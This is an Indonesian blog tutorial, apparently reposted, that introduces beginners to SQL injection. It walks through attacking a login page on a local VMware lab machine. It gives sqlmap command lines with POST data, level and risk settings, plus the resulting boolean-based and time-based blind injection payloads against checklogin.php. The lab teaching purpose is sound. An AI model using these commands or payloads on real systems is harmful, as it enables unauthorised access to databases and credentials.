torial SQL Injection Untuk Newbie - Kali ini Uzan Cyber akan membahas tentang Tutorial SQL Injection Untuk Newbie.
saya akan memberikan sedikit pelajaran mengenai SQL Injection. Pada
tutorial sql injection kali ini, saya tidak menggunakan live target,
karena saya rasa itu bersifat merusak. Sehingga saya coba metode ini di
localhost dengan bantuan VMware.
Bahan - Bahan Yang Akan Kita Gunakan Pada Tutorial SQL Injection :
-Mozilla Firefox
-Tamper Data
-SQLmap
1. Menguji vulnerability
Kali ini, vmware saya telah berjalan dan memiliki ip address 172.16.33.131. Saya buka firefox, kemudian saya masukan IP address 172.16.33.131 pada address bar.
Setelah Itu Test Login Dengan :
Username : admin Password : admin
Kemudian Hasil-nya :
Kita berada di halaman checklogin.php . Disini tidak ada parameter untuk
diuji. Mungkin saya bisa menguji data yang dikirim ke server. Saya
kembali lagi ke halaman login. Dengan Username Dan Password :
Username : admin Password : '
Dan Hasilnya :
Kelihatannya website ini Vulnerable . Namun tetap tidak ada parameter.
Sehingga dapat disimpulkan bahwa vulnerability bukan terletak pada
parameter, melainkan DATA. Untuk mengecek data yang dikirim ke server,
saya gunakan Tamper Data .
2. Tamper Data In Action
Jika anda belum memiliki tamper data, anda bisa Mendownloadnya Lewat
link ini >>. Namun add-on ini hanya dapat digunakan di Mozilla
Firefox. Dan tidak dapat digunakan di Browser lain.
Setelah menginstall, tamper data dapat diaktifkan di Tools --> Tamper Data
Kembali ke halaman login Dengan Username & Password :
Username : admin Password : 123
Maka tamper data akan mengambil setiap data yang terjadi selama proses transfer data dari client ke server, maupun sebaliknya.
OK. Saya temukan POSTDATA=myusername=admin&mypassword=123&Submit=Login.
Ternyata ada 3 data di sini. yaitu myusername, mypassword, dan Submit.
Dan kita telah mengetahui bahwa data password vulnerable. Selanjutnya
kita akan gunakan SQLmap untuk menguji database menggunakan informasi
yang telah kita dapatkan.
3. SQLmap in Attack
CODE :
red-dragon [~] >> cd
/pentest/database/sqlmap/
red-dragon [/pentest/database/sqlmap] >> python
sqlmap.py -u http://172.16.33.131/checklogin.php
--data="POSTDATA=myusername=admin&mypassword=123&Submit=Login"
-p mypassword --flush-session
Keterangan :
-u = url [Pesan error muncul pada halaman checklogin.php]
--data = [Kali ini kita akan memberikan data pada server dengan cara tampering / menyuap]
-p = parameter [Parameter yang vulnerable adalah mypassword
--flush-session = Bagian ini tidak masalah jika tidak disertakan.
Muncul pertanyaan :
parsed error message(s) showed that the back-end DBMS could be MySQL. Do
you want to skip test payloads specific for other DBMSes? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
Kemudian muncul lagi :
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
dan berujung pada CRITICAL :
[CRITICAL] all parameters appear to be not injectable. Try to increase
--level/--risk values to perform more tests. As heuristic test turned
out positive you are strongly advised to continue on with the tests.
Please, consider usage of tampering scripts as your target might filter
the queries. Also, you can try to rerun by providing either a valid
--string or a valid --regexp, refer to the user's manual for details
4. Over
Saya coba naikan level dan risk pada testing SQLmap menjadi 5.
CODE :
red-dragon [/pentest/database/sqlmap]
>> python sqlmap.py -u http://172.16.33.131/checklogin.php
--data="POSTDATA=myusername=admin&mypassword=123&Submit=Login"
-p mypassword --level=5 --risk=5
Kemudian muncul lagi:
sqlmap got a 302 redirect to 'http://172.16.33.131:80/login_success.php'. Do you want to follow? [Y/n]
Saya tekan "n" [tanpa tanda kutip], kemudian "enter"
Dan muncul pesan yang membahagiakan:
POST parameter 'mypassword' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
Saya jawab "n", kemudian "enter".
Dan payload untuk website ini adalah:
CODE :
Place: POST Parameter: mypassword Type:
boolean-based blind Title: OR boolean-based blind - WHERE or HAVING
clause Payload: POSTDATA=myusername=admin&mypassword=-3973' OR
(5599=5599) AND 'eHOv'='eHOv&Submit=Login Type: AND/OR time-based
blind Title: MySQL < 5.0.12 AND time-based blind (heavy query)
Payload: POSTDATA=myusername=admin&mypassword=123' AND
2246=BENCHMARK(5000000,MD5(0x77544b50)) AND
'bGtM'='bGtM&Submit=Login
Semoga Bermanfaat :D ,
http://anakcom.blogspot.com/2013/01/tutorial-sql-injection-untuk-newbie.html
Popular
-
Download Game PS1 (PSX) : Bakusou Kyoudai Let's & Go!! Eternal Wings ( Tamiya )
-
Multiplayer (Bluetooth) - Arcade/RPG - Online - Recommended games Download Game "Art of War 2: Liberation of Peru" sesuai ...
Labels
- 4YI (1)
- android aplikasi (7)
- android chat (2)
- android game (11)
- custom rom (4)
- Emulator (6)
- interface (UI) (4)
- Java Aplikasi (2)
- java game (8)
- N-gage v.1 (2)
- PC Aplikasi (8)
- PC game (9)
- Review game (5)
- tren tekno (2)
- TRIK AND TIPS (13)
- upgrade kecepatan warnet (3)
pesan
Jangan lupa tingalkan saran dan koment di bawah postingan
About
FREE download game and aplikasi
visitor
Blogger news
Untuk melihat kategori bisa klik menu labels di samping menu popular
0 komentar:
Posting Komentar